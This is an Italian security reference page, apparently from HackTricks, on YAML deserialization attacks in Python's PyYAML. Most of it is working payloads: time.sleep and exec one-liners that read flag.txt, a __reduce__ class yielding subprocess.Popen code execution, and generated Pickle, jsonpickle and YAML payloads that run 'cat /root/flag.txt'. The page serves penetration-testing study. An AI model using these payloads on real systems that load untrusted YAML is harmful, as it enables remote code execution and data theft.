# Deserializzazione Yaml in Python
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## **Deserializzazione** Yaml
Le librerie python **Yaml** sono in grado di **serializzare oggetti python** e non solo dati grezzi:
```
print(yaml.dump(str("lol")))
lol
...
print(yaml.dump(tuple("lol")))
!!python/tuple
- l
- o
- l
print(yaml.dump(range(1,10)))
!!python/object/apply:builtins.range
- 1
- 10
- 1
```
Verifica come la **tuple** non è un tipo di dati grezzo e quindi è stata **serializzata**. E lo stesso è successo con il **range** (preso dai builtins).
![](<../../.gitbook/assets/image (1040).png>)
**safe\_load()** o **safe\_load\_all()** utilizzano SafeLoader e **non supportano la deserializzazione degli oggetti di classe**. Esempio di deserializzazione degli oggetti di classe:
```python
import yaml
from yaml import UnsafeLoader, FullLoader, Loader
data = b'!!python/object/apply:builtins.range [1, 10, 1]'
print(yaml.load(data, Loader=UnsafeLoader)) #range(1, 10)
print(yaml.load(data, Loader=Loader)) #range(1, 10)
print(yaml.load_all(data)) #
print(yaml.load_all(data, Loader=Loader)) #
print(yaml.load_all(data, Loader=UnsafeLoader)) #
print(yaml.load_all(data, Loader=FullLoader)) #
print(yaml.unsafe_load(data)) #range(1, 10)
print(yaml.full_load_all(data)) #
print(yaml.unsafe_load_all(data)) #
#The other ways to load data will through an error as they won't even attempt to
#deserialize the python object
```
Il codice precedente ha utilizzato **unsafe\_load** per caricare la classe Python serializzata. Questo perché nella **versione >= 5.1**, non consente di **deserializzare qualsiasi classe Python serializzata o attributo della classe**, con Loader non specificato in load() o Loader=SafeLoader.
### Exploit di Base
Esempio su come **eseguire un sleep**:
```python
import yaml
from yaml import UnsafeLoader, FullLoader, Loader
data = b'!!python/object/apply:time.sleep [2]'
print(yaml.load(data, Loader=UnsafeLoader)) #Executed
print(yaml.load(data, Loader=Loader)) #Executed
print(yaml.load_all(data))
print(yaml.load_all(data, Loader=Loader))
print(yaml.load_all(data, Loader=UnsafeLoader))
print(yaml.load_all(data, Loader=FullLoader))
print(yaml.unsafe_load(data)) #Executed
print(yaml.full_load_all(data))
print(yaml.unsafe_load_all(data))
```
### .load("\") vulnerabile senza Loader
Le **vecchie versioni** di pyyaml erano vulnerabili agli attacchi di deserializzazione se non **specificavi il Loader** durante il caricamento di qualcosa: `yaml.load(data)`
Puoi trovare la [**descrizione della vulnerabilità qui**](https://hackmd.io/@defund/HJZajCVlP)**.** L'**exploit** proposto in quella pagina è:
```yaml
!!python/object/new:str
state: !!python/tuple
- 'print(getattr(open("flag\x2etxt"), "read")())'
- !!python/object/new:Warning
state:
update: !!python/name:exec
```
Oppure potresti utilizzare questo **one-liner fornito da @ishaack**:
```yaml
!!python/object/new:str {state: !!python/tuple ['print(exec("print(o"+"pen(\"flag.txt\",\"r\").read())"))', !!python/object/new:Warning {state : {update : !!python/name:exec } }]}
```
Nota che nelle **versioni recenti** non puoi **più chiamare `.load()`** **senza un `Loader`** e il **`FullLoader`** non è più vulnerabile a questo attacco.
## RCE
Payload personalizzati possono essere creati utilizzando moduli YAML di Python come **PyYAML** o **ruamel.yaml**. Questi payload possono sfruttare vulnerabilità nei sistemi che deserializzano input non attendibile senza una corretta sanificazione.
```python
import yaml
from yaml import UnsafeLoader, FullLoader, Loader
import subprocess
class Payload(object):
def __reduce__(self):
return (subprocess.Popen,('ls',))
deserialized_data = yaml.dump(Payload()) # serializing data
print(deserialized_data)
#!!python/object/apply:subprocess.Popen
#- ls
print(yaml.load(deserialized_data, Loader=UnsafeLoader))
print(yaml.load(deserialized_data, Loader=Loader))
print(yaml.unsafe_load(deserialized_data))
```
### Strumento per creare Payloads
Lo strumento [https://github.com/j0lt-github/python-deserialization-attack-payload-generator](https://github.com/j0lt-github/python-deserialization-attack-payload-generator) può essere utilizzato per generare payload di deserializzazione python per abusare di **Pickle, PyYAML, jsonpickle e ruamel.yaml:**
```bash
python3 peas.py
Enter RCE command :cat /root/flag.txt
Enter operating system of target [linux/windows] . Default is linux :linux
Want to base64 encode payload ? [N/y] :
Enter File location and name to save :/tmp/example
Select Module (Pickle, PyYAML, jsonpickle, ruamel.yaml, All) :All
Done Saving file !!!!
cat /tmp/example_jspick
{"py/reduce": [{"py/type": "subprocess.Popen"}, {"py/tuple": [{"py/tuple": ["cat", "/root/flag.txt"]}]}]}
cat /tmp/example_pick | base64 -w0
gASVNQAAAAAAAACMCnN1YnByb2Nlc3OUjAVQb3BlbpSTlIwDY2F0lIwOL3Jvb3QvZmxhZy50eHSUhpSFlFKULg==
cat /tmp/example_yaml
!!python/object/apply:subprocess.Popen
- !!python/tuple
- cat
- /root/flag.txt
```
### Riferimenti
* [https://www.exploit-db.com/docs/english/47655-yaml-deserialization-attack-in-python.pdf](https://www.exploit-db.com/docs/english/47655-yaml-deserialization-attack-in-python.pdf)
* [https://net-square.com/yaml-deserialization-attack-in-python.html](https://net-square.com/yaml-deserialization-attack-in-python.html)
Impara l'hacking AWS da zero a eroe con htARTE (Esperto Red Team AWS di HackTricks)!
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